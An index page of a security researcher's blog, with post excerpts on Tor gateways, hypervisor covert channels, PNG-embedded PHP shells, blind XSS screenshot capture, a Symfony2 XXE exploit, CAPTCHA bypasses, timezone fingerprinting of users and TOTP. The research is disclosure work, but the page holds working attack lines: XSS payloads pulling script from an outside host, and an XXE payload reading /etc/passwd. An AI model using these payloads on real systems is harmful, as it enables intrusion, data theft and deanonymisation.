Raspberry PI and Tor for slightly easier OPSEC

With a desire for stronger operational security (OPSEC) I’ve built a dual homed Raspberry Pi to act as a Tor client. It sits between my laptop and the internet only allowing traffic that is routed through Tor outbound. For under $50USD this relatively cheap device should  significantly reduce the risk of your real IP address being accidentally divulged by human error or by software that decides to connect directly to the Internet.

As this is a physically separate hardware device it should prevent your identity or location being disclosed even if your laptop is compromised (assuming you have no personally identifiable information on your laptop). This device makes it harder to make mistakes.

Software Installation
Setting up the Pi is a relatively familiar but slow process for anyone that has used Linux – I opted to use the Debian based distribution “Raspbian” as the operating system for the Raspberry Pi choosing to install from scratch on a SDHC card rather than using a pre-built image.

Continue reading

Posted in Hardware | Tagged , | 2 Comments

Data exfiltration through the VMware hypervisor

Its possible for two Virtual Machines with no network access or shared file system to communicate as long as they run under the same Hypervisor. This post will show you how this can be achieved by sending a square wave across the VMware CPU scheduler. This technique could be used to exfiltrate information from compromised systems that are firewalled / no longer connected to the network, or to evade a network based IDS.

There are some pre-requisites, you need access to two or more virtual machines on the same Hypervisor which between them have access to at least the same number of virtual CPUs as physical CPU cores exist within the Hypervisor – and for these machines to have unlimited CPU resources (MHz). At this point its worth mentioning that cores provided via Hyper-Threading are not considered separate.

When you oversubscribe a Hypervisor the machines within it end up sharing resources. The result of this is that when a VM runs a CPU intensive task it runs until another VM also requests the same resources, when this happens clock cycles are stolen from one VM and given to the other. The consequence of this is that one virtual machine can monitor how busy the Hypervisor is by observing  the shift in number of calculations it can perform in a given time frame. It is by using this technique (a Timing Channel Attack) that two VM’s can communicate.

Continue reading

Posted in Exploits | Tagged , , , , , , | 3 Comments

Encoding Web Shells in PNG IDAT chunks

If you carefully encode a web shell in an image you can bypass server-side filters and seemingly make shells materialize out of nowhere (and I’m not talking about encoding data in comments or metadata) – this post will show you how it’s possible to write PHP shells into PNG IDAT chunks using only GD.

Exploiting a server misconfiguration or Local File Inclusion can be tricky if you cannot write code to the file system – In the past applications that allow image uploads have provided a limited way to upload code to the server via metadata or malformed images. Quite often however images are resized, rotated, stripped of their metadata or encoded into other file formats effectively destroying the web shell payload.

PNG file format basics
Within the PNG file format (we’ll focus on true-color PNG files rather than indexed) the  IDAT chunk stores the pixel information. It’s in this chunk that we’ll store the PHP shell. For now we’ll assume that pixels are always stored as 3 bytes representing the RGB color channels.

When a raw image is saved as a PNG each row of the image is filtered on a per byte basis and the row is prefixed with a number depicting the type of filter that’s been used (0×01 to 0×05), different rows can use different filters. The rationale behind this is to improve the compression ratio. Once all the rows have been filtered they are all compressed with the DEFLATE algorithm to form the IDAT chunk.

So if we want to input data as a raw image and have it saved as a shell we need to defeat both the PNG line filters and the DEFLATE algorithm. It’s easier to work backwards so we’ll start with DEFLATE.

Step 1. Compressing a string to form a shell
Ideally we need to design a string that compresses to form a shell, this is not as hard as you might think but obviously our string can’t contain any repeated blocks of code (or they’ll be compressed). In fact, to prevent a shell from being compressed you have to design one that doesn’t have any repeated sub strings longer than 2 characters in length. This means we have to keep it short:

Continue reading

Posted in Exploits, PHP | Tagged , , , , | 22 Comments

Taking screenshots using XSS and the HTML5 Canvas

Using the HTML5 Canvas its possible to use XSS to take screenshots of administration and management interfaces that might not have access to.

Blind Stored XSS
By injecting script tags containing an external JavaScript resource into arbitrary HTTP input fields you can attempt to detect XSS in pages or applications which might not be accessible. To increase my chances of getting my script tags past basic data validation (e.g. length) I registered a short domain name for my payloads. Using a 3 letter domain with 2 letter prefix and a protocol relative URL the shortest functional script payload that pulls in an external resource is probably ~32 characters:

<script src="//xqi.cc"></script>

Additionally you can also try onload or onmouseover events in case the injection is inside an HTML attribute; although this significantly increases the size of the payload to about 160 characters:

" onmouseover="var n=document.createElement('script'); n.type='text/javascript';n.src='//xqi.cc'; x=document.getElementsByTagName('head'); x[0].appendChild(n);
" onload="var n=document.createElement('script'); n.type='text/javascript';n.src='//xqi.cc'; x=document.getElementsByTagName('head'); x[0].appendChild(n);

It goes without saying that you are depending on the administrator or user to view the XSS in order for it to execute, your chances will depend on the type of injection you use and how frequently the vulnerable application is accessed. You’ll know when the JavaScript resource executes in another application because you can see the JavaScript resource and the HTTP referrer in your HTTP logs:

1.2.3.4 – - [09/Apr/2012:02:10:49 +0000] “GET / HTTP/1.1″ 200 57 “http://www.site.com/admin/customers.aspx” “Mozilla/5.0 (Windows NT 6.1; rv:10.0.2) Gecko/20100101 Firefox/10.0.2″
1.2.3.4 – - [09/Apr/2012:02:10:59 +0000] “GET / HTTP/1.1″ 200 57 “http://www.site.com/admin/view_customer.aspx?id=122″ “Mozilla/5.0 (Windows NT 6.1; rv:10.0.2) Gecko/20100101 Firefox/10.0.2″

I was deploying these payloads using a custom Burp extension although I’ve now discovered Acunetix allows you to issue custom payloads – you can download the script I use here.

Taking a screenshot
The HTML5 Canvas allows you to quickly render (client side) an accurate screenshot of the clients browser and use Ajax to return it to a server controlled by the attacker.

The code I use is based more or less entirely on Niklas Von Hertzen’s version available on GitHub. However I’ve made a few modifications in order to weaponize it:

  • Merged the source together (Jquery, HTMLCanvas and the JQueryHTMLCanvas plugin) so that the payload consists of just 1 file
  • Removed any messages displayed to the user
  • Added an Ajax post so that it posts the Canvas to a remote server
  • Added some code to prevent the JS being loaded multiple times on the same page

On the server side there is also a script to decode the Canvas which is posted as a base64 encoded string and write it to a database which also has Referrer, Remote Address and User Agent fields. This allows me to keep track of users that execute the code.

Cross Domain Policy and other issues
The only real caveat is that the script will run with the same-origin policy preventing it from fetching resources from other domains (e.g. images hosted on a CDN). In an attempt to overcome this the script uses a proxy to fetch external resources that are outside of its domain (this obviously wont work for any resources that are not publicly accessible).

Its also worth nothing that taking a screenshot using HTML5 doesn’t really provide you with any more information than harvesting a copy of the DOM using XSS.

Download HTML5 Screenshot XSS POC code
(Tested in the latest versions of Chrome and Firefox)

Article updated 6th April 2012 to include protocol relative URLs and a custom Acunetix Script

Posted in Exploits, HTML5, JavaScript | Tagged , , | 9 Comments

Exploit: Symfony2 – local file disclosure vulnerability

I recently discovered a vulnerability affecting the Symfony2 Framework versions 2.0.0-2.0.10. In short, by by parsing user supplied XML in any way (e.g. SOAP API, RSS feed, unserializing an object) it is possible to disclose the contents of arbitrary files from the local file system. Symfony announced a new security release version 2.0.11 within 24hrs of being notified of the vulnerability. You can read more on the Symfony Blog.

The vulnerability occurs because Symfony2 fails to disable external entities before parsing XML. As explained in my previous post this is particularly brutal in PHP where PHP filters can be used to include binary data or scan behind perimeter firewalls.

In the example below XML is deserialized and the contents of /etc/passwd are returned as a base64 encoded string.


$XMLString = "
 <?xml version="1.0"?>
 <!DOCTYPE scan [<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">]> 
 <scan>&test; </scan>
"

$serializer = new Serializer(array(), array(
  'xml' => new \Symfony\Component\Serializer\Encoder\XmlEncoder()
));

$x = $serializer->decode($XMLString, 'xml');

var_dump($x);

If the deserialized XML is not displayed to the end user you can still perform a Denial of Service attack through XML entity expansion.

Posted in Exploits, PHP, XML | Tagged , , , , , | 1 Comment

Extending Burp Suite to solve reCAPTCHA

By extending the Burp Suite and integrating it with a CAPTCHA solving farm you can enable the automated bypassing of CAPTCHA within all burp tools; seamlessly replacing all CAPTCHA with their correct solutions. This post will show how I’ve extended Burp and integrated it with the DeathByCaptcha API to solve reCAPTCHA.

Several services exist for decoding CAPTCHA, although DeathByCaptcha seems pretty good and from the initial tests I’m seeing a 99.7% accuracy rate (with reCAPTCHA at least) – The premise for most of these services is simple, upload your CAPTCHA to the API and poll for a response until it is solved by someone at the other end. DeathByCaptcha currently charges $13.90 per 10,000 solutions. The API is a simple REST interface and it normally takes only a few seconds to decode the image.

The concept:
Burp Extender allows you to hook and modify all HTTP responses before they are used by any of the tools in the Burp Suite. The idea behind the Burp Extender extension I’ve written is to intercept all of the HTTP responses, examine them for the reCAPTCHA script and replace the input fields with the solution from DeathByCaptcha. This will effectively turn reCAPTCHA into a nonce or one-time-token which Burp 1.4 macros can easily handle in a similar way to CSRF tokens.

Continue reading

Posted in Burp | Tagged , | 5 Comments

Decrypting suhosin sessions and cookies.

The suhosin module provides transparent cookie and session encryption out of the box to PHP applications. Once enabled any session values stored on disk are encrypted with rijndael and a slight variation on base64 encoding, the same applies to any cookies that are stored on the client. Many people rely solely on this encryption to protect them against parameter tampering attacks.

This post will explain why suhosin encryption is not necessarily as secure as you might think and how its default configuration should not be relied upon to protect the content of sessions and cookies.

Basic suhosin encryption settings

First you need to understand the PHP suhosin session and cookie settings and how these affect access to the session and cookie data, in particular how they affect the generation of the encryption key used to protect the data. There are six settings for both suhosin.session and suhosin.cookie these are their defaults:

Parameter Sessions Cookies
encrypt On Off
cryptkey <blank> <blank>
cryptraddr 0 0
cryptua Off On
cryptdocroot On On
checkraddr 0 0
Parameter Description
Encrypt Turns on the transparent encryption
cryptkey Custom string added to the encryption key – blank by default.
cryptraddr The number of octets of the users IP to add to the encryption key
cryptua Adds the user agent string to the encryption key
cryptdocroot Adds the document root as defined by Apache to the key
checkraddr Has no affect on the encryption key but prevents users on other IP addresses accessing the session data once decrypted.

How Suhosin generates the encryption key

As you can see, the more Suhosin settings that are enabled the more complex the encryption key will become – sessions by default are encrypted using solely the document root where as cookies use a concatenation of both the document root and user agent string. The key will always be built in the same way and take the order:

Continue reading

Posted in PHP | Tagged , , , | 5 Comments

JavaScript and Daylight Savings for tracking users.

Each country has their own timezone – although timezones are not generally unique variations in the offset can enable a website using JavaScript to pinpoint your location and operating system to an alarming degree of accuracy. Most countries time differs from UTC by increments of 1 hour and this is generally the case for every 15 degress you travel east or west of the meridian – of course there are some exceptions, countries such as Iran have offsets of 3hrs 30mins, Nepal (+5:45) and Chatham Island (+12:45). If your unfortunate enough to live in Nepal, Iran, or Chatham Islands its very easy for JavaScript to identify your location just using Date.getTimeZoneOffset().

Similarly the following areas have distinct timezones:

  • Marquesas Islands -09:30
  • Venezuela -04:30
  • Labrador and Newfoundland -03:30
  • Brazilian Ocean Islands -02:00
  • Iran +03:30
  • Afghanistan +04:30
  • Nepal +05:45
  • Myanmar +06:30
  • Caiguna-Eucia +08:45
  • Lord Howe Island +10:30
  • Norfolk Island +11:30
  • Kiribati Line Islands +14:00

This only affects a few million people in a few specific locations and it makes it hard to establish what country someone is in who shares for example, the -11:00 timezone. However, many countries, states or territories observe or at some stage have experimented with DST (Daylight Savings Time). Mitchigan for example experimented briefly with DST in 1975, Western Australia in 1972 and Fiji in 2009. Places tend to choose different start and end dates and up until 2008 Brazil used to change the time that they entered DST each year. These differences can be used to distinguish a users country from other countries in the same offset.

Operating systems require a list of these changes in order to know when to change the time. While the name of the timezone and the dates that the clock changes is not directly accessible via the JavaScript Date object the current timezone can be inferred by calculating the dates that the TimeZoneOffset changes.

Using the Date object its possible to loop through all the days from 1970 to 2010 and observe when the TimeZoneOffset changes (1970 is the earliest that the time zone database goes back). By recording the dates when the offset changes we can create a fingerprint that may help to locate a users position:

var d        = new Date();
var i        = d.getTime();
var oldTime  = d.getTimezoneOffset();
var fp       = '';

d.setTime(0);

for (var i = 0; i < 1317731928000; i += 86400000) {
     d.setTime(i);
     newTime = d.getTimezoneOffset();
     if (newTime != oldTime) {
        timeZone += (newTime + '@' + Math.round(i / 1000) + ';');
        oldTime = newTime;      
     }
}

When run on Linux in the Firefox browser the script will create strings such as the following which are unique and identify users in New South Wales, Australia:

-600@39618001; -660@55346401; -600@71067601; -660@86796001; -600@102517201; -660@118850401; -600@134571601; -660@150300001; -600@166021201; -660@181749601; -600@197470801; -660@213199201; -600@228920401; -660@244648801; -600@260370001; -660@276098401; -600@291819601; -660@308152801; -600@323874001; -660@339602401; -600@355323601; -660@371052001; -600@386773201; -660@402501601; -600@418222801; -660@433951201; -600@449672401; -660@466005601; -600@481726801; -660@497455201; -600@513176401; -660@528904801; -600@544626001; -660@560354401; -600@576075601; -660@591804001; -600@607525201; -660@623253601; -600@638974801; -660@655308001; -600@671029201; -660@686757601; -600@702478801; -660@718207201; -600@733928401; -660@749656801; -600@765378001; -660@781106401; -600@796827601; -660@812556001; -600@828882001; -660@844610401; -600@860331601; -660@876060001; -600@891781201; -660@907509601; -600@923230801; -660@938959201; -600@954680401; -660@970408801; -600@986130001; -660@1002463201; -600@1018184401; -660@1033912801; -600@1049634001; -660@1065362401; -600@1081083601; -660@1096812001; -600@1112533201; -660@1128261601; -600@1143982801; -660@1159711201; -600@1175432401; -660@1191765601; -600@1207486801; -660@1223215201; -600@1238936401; -660@1254664801; -600@1270386001; -660@1286114401;

A good example is that of Istanbul (Turkey), Minsk (Belarus) and Jerusalem (Israel) – All share the +0200 Timezone but all have observed DST at differing times since 1970 creating three different signatures:

Istanbul:
-180@39132001; -120@57790801; -180@70581601; -120@89240401; -180@102031201; -120@120690001; -180@133480801; -120@152139601; -180@165535201; -120@183589201; -180@196984801; -120@215643601; -180@228434401; -120@247093201; -180@259884001; -120@278542801; -180@291333601; -120@309992401; -180@323388001; -120@341442001; -180@354837601; -120@372891601; -180@386287201; -120@404946001; -180@417736801; -120@436395601; -180@449186401; -120@467845201; -180@480636001; -120@499294801; -180@512690401; -120@530744401; -180@544140001; -120@562194001; -180@575589601; -120@594248401; -180@607039201; -120@625698001; -180@638488801; -120@657147601; -180@669938401; -120@688597201; -180@701992801; -120@720046801; -180@733442401; -120@752101201; -180@764892001; -120@783550801; -180@796341601; -120@815000401; -180@827791201; -120@846450001; -180@859845601; -120@877899601; -180@891295201; -120@909349201; -180@922744801; -120@941403601; -180@954194401; -120@972853201; -180@985644001; -120@1004302801; -180@1017093601; -120@1035752401; -180@1049148001; -120@1067202001; -180@1080597601; -120@1099256401; -180@1112047201; -120@1130706001; -180@1143496801; -120@1162155601; -180@1174946401; -120@1193605201; -180@1207000801; -120@1225054801; -180@1238450401; -120@1256504401; -180@1269900001; -120@1288558801;

Jerusalem:
-180@39477601; -120@55371601; -180@71532001; -120@86821201; -180@102981601; -120@118875601; -180@134431201; -120@150325201; -180@165880801; -120@181774801; -180@197330401; -120@213224401; -180@228780001; -120@244674001; -180@260834401; -120@276123601; -180@292284001; -120@308178001; -180@323733601; -120@339627601; -180@355183201; -120@371077201; -180@386632801; -120@402526801; -180@418082401; -120@433976401; -180@450136801; -120@466030801; -180@481586401; -120@497480401; -180@513036001; -120@528930001; -180@544485601; -120@560379601; -180@575935201; -120@591829201; -180@607989601; -120@623278801; -180@639439201; -120@655333201; -180@670888801; -120@686782801; -180@702338401; -120@718232401; -180@733788001; -120@749682001; -180@765237601; -120@781131601; -180@797292001; -120@812581201; -180@828741601; -120@844635601; -180@860191201; -120@876085201; -180@891640801; -120@907534801; -180@923090401; -120@938984401; -180@955144801; -120@970434001; -180@986594401; -120@1002488401; -180@1018044001; -120@1033938001; -180@1049493601; -120@1065387601; -180@1080943201; -120@1096837201; -180@1112392801; -120@1128286801; -180@1144447201; -120@1159736401; -180@1175896801; -120@1191790801; -180@1207346401; -120@1223240401; -180@1238796001; -120@1254690001; -180@1270245601; -120@1286139601;

Minsk:
-180@39045601; -120@57790801; -180@70495201; -120@89240401; -180@101944801; -120@120690001; -180@133999201; -120@152139601; -180@165448801; -120@183589201; -180@196898401; -120@215643601; -180@228348001; -120@247093201; -180@259797601; -120@278542801; -180@291247201; -120@309992401; -180@323301601; -120@341442001; -180@354751201; -120@372891601; -180@386200801; -120@404946001; -180@417650401; -120@436395601; -180@449100001; -120@467845201; -180@481154401; -120@499294801; -180@512604001; -120@530744401; -180@544053601; -120@562194001; -180@575503201; -120@594248401; -180@606952801; -120@625698001; -180@638402401; -120@657147601; -180@670456801; -120@688597201; -180@701906401; -120@720046801; -180@733356001; -120@752101201; -180@764805601; -120@783550801; -180@796255201; -120@815000401; -180@828309601; -120@846450001; -180@859759201; -120@877899601; -180@891208801; -120@909349201; -180@922658401; -120@941403601; -180@954108001; -120@972853201; -180@985557601; -120@1004302801; -180@1017612001; -120@1035752401; -180@1049061601; -120@1067202001; -180@1080511201; -120@1099256401; -180@1111960801; -120@1130706001; -180@1143410401; -120@1162155601; -180@1174860001; -120@1193605201; -180@1206914401; -120@1225054801; -180@1238364001; -120@1256504401; -180@1269813601; -120@1288558801;

This technique is handy for helping to establish the identify of users who are attempting to mask their locations by using proxy servers alone. Different operating systems may also yield slightly different results enabling you to use this technique to fingerprint both their OS and location.

Posted in JavaScript | Tagged , , | 3 Comments

Google TOTP Two-factor Authentication for PHP

At the beginning of the year Google released 2 Factor Authentication (2FA) for G-Mail providing an application for Android, IPhone and Blackberry called Google Authenticator to generate one time login tokens. This post will show how to implement Google 2FA to protect web applications from stolen credentials.

Google Authenticator is based on RFC 4226 – a Time based One Time Password (TOTP) which is initialised using a 16 digit base 32  (RFC 4648) encoded seed value. Initial seeds used for the TOTP can be entered into the Google Authenticator via a camera using QR codes or via the keyboard. Google has also provided a PAM module allowing users to integrate 2FA for sshd.

A module can be written to support the Google TOTP in any language – the only caveat with writing a library for PHP is a lack of an RFC 4648 compliant base 32 decoding function. A base 32 function is needed to decode the initial seed. This is probably the most tricky part of implementing Google’s 2FA. The following function can be used:

function base32_decode($b32) {
  $lut = array("A" => 0,       "B" => 1,
               "C" => 2,       "D" => 3,
               "E" => 4,       "F" => 5,
               "G" => 6,       "H" => 7,
               "I" => 8,       "J" => 9,
               "K" => 10,      "L" => 11,
               "M" => 12,      "N" => 13,
               "O" => 14,      "P" => 15,
               "Q" => 16,      "R" => 17,
               "S" => 18,      "T" => 19,
               "U" => 20,      "V" => 21,
               "W" => 22,      "X" => 23,
               "Y" => 24,      "Z" => 25,
               "2" => 26,      "3" => 27,
               "4" => 28,      "5" => 29,
               "6" => 30,      "7" => 31
  );

  $b32    = strtoupper($b32);
  $l      = strlen($b32);
  $n      = 0;
  $j      = 0;
  $binary = "";

  for ($i = 0; $i < $l; $i++) {

       $n = $n << 5;
       $n = $n + $lut[$b32[$i]];       
       $j = $j + 5;

       if ($j >= 8) {
           $j = $j - 8;
           $binary .= chr(($n & (0xFF << $j)) >> $j);
       }
  }

  return $binary;
}

This binary seed value will be used in a SHA1 hash along with the current Unix time-stamp to generate one time tokens. The Unix time-stamp is divided by 30 so that the one time password changes every 30 seconds.

function get_timestamp() {
   return floor(microtime(true)/30);
}

Sadly you cant just pass the number from get_timestamp straight into the sha1 function. The time-stamp first needs to be reduced into a binary string of 8 bytes. Since pack doesn’t support 64bit integers we use two unsigned 32 bit integers to make up the binary form.

$binary_timestamp = pack('N*', 0) . pack('N*', $timestamp);

Once you have the binary seed and the binary timestamp you have to pass them into the “hash_mhac” function. This gives you a 20 byte sha1 string.

$hash = hash_hmac ('sha1', $binary_timestamp, $binary_key, true);

This hash is then processed in accordance with RFC 4226 to obtain the one time password.

$offset = ord($hash[19]) & 0xf;

$OTP = (
   ((ord($hash[$offset+0]) & 0x7f) << 24 ) |
    ((ord($hash[$offset+1]) & 0xff) << 16 ) |
    ((ord($hash[$offset+2]) & 0xff) << 8 ) |
    (ord($hash[$offset+3]) & 0xff)
   ) % pow(10, 6);

Now $OTP should contain your one time password. There are however still a couple of small issues to overcome if you want to use this within an application:

  • Your client and server clocks may not be in sync – this could means that when you come to check your token generated by the user that it will fail. To combat this a you can either stipulate that the client and server clocks must be in perfect sync or you need to create a function which checks the tokens against those +/- 2 minutes of the current server time. This will allow your client and server to be up to 2 minutes out but obviously increases the chance that an attacker could correctly guess a one time token.

  • If there is no upper limit on the number of attempts a user can make at guessing a token it may be possible to brute-force the one-time token.

  • If the seed is too small and an attacker can intercept a few tokens it may be possible to brute-force the seed value allowing the attacker to generate new one-time tokens. For this reason Google enforces a minimum seed length of 16 characters or 80-bits.

  • If a token is not marked as invalid as soon as it has been used an attacker who has intercepted the token may be able to quickly replay it to obtain access.

Google Authenticator: Seed value 'PEHMPSDNLXIOG65U'

Seed value 'PEHMPSDNLXIOG65U'

A class for PHP that implements Google TOTP can be downloaded here. Its missing protection against brute-force attacks but otherwise fully functional.

You can check if its working by installing the Google Authenticator application and scanning the QR code to the right – codes generated by the application should match codes generated by the class. The function Google2FA::verify_key should be used to validate the users one time token as it allows the clients clock to drift either side of the server time by 2 minutes.

Custom QR codes can be generated using the Google QR generator at https://www.google.com/chart?chs=200×200&chld=M|0&cht=qr&chl=otpauth://totp/idontplaydarts?secret=SECRETVALUEHERE

Posted in PHP | Tagged , , , , | 25 Comments

Exploit: PHPCaptcha / Securimage is not secure.

Recently I discovered an easy way to bypass PHPCaptcha also known as SecurImage. The method described below will break the CAPTCHA every time, without fail and affects versions 1.0.4 and above. Previous versions are also probably vulnerable tho only exploit code for the MP3 file format (implemented as default since version 2.0.0) is provided.

The flaw in the CAPTCHA stems from the way MP3 and WAV audio codes, intended for use by by the visually impaired, are generated. It is worth noting that even when the user of the site has removed the audio functionality from their displayed CAPTCHA the functionality can still be accessed via forceful browsing to the file called “/securimage_play.php”. This means that unless the administrator of the site has removed the securimage_play.php file that their site is vulnerable to attack.

The audio codes that are generated by PHPCaptcha are created by concatenating a set of audio files (that are publicly accessible in /audio directory). To prevent simple binary analysis of the output the author randomly changes the value of every 64th byte in the generated audio file starting from an initial offset that is also defined by a random integer in the range 1-64. The effect of the mutation means that when you listen to the audio its very hard to determine what letters are being heard. The code used for the mutation is shown below:

    function scrambleAudioData(&$data, $format)
    {
        if ($format == 'wav') {
            $start = strpos($data, 'data') + 4;
            if ($start === false) $start = 44; 
        } else { // mp3
            $start = 4;
        }

        $start  += rand(1, 64); 
        $datalen = strlen($data) - $start - 256;
         
        for ($i = $start; $i < $datalen; $i += 64) {
            $ch = ord($data{$i});
            if ($ch < 9 || $ch > 119) continue;

            $data{$i} = chr($ch + rand(-8, 8));
        }
    }

While this prevents simple binary analysis of the generated audio it does not prevent an attacker from building a list of 64 byte strings from the publicly accessible audio samples and using these in comparison against the concatenated audio file. By determining where in the file these strings occur its possible to decode the CAPTCHA with a 100% success rate. The decision by the author to change only the 64th byte of the final audio file is a fatal design flaw.

You can download the PHPCaptcha exploit capable of decoding the MP3 CAPTCHA format. It is currently configured to run against the “sample_form.php” script that comes by default with SecurImage / PHPCaptcha. Below is a video of the exploit running:

No fix is currently available from the author. The only current solution is to remove the securimage_play.php script from your site.

Posted in Exploits, PHP | Tagged , , , , | 21 Comments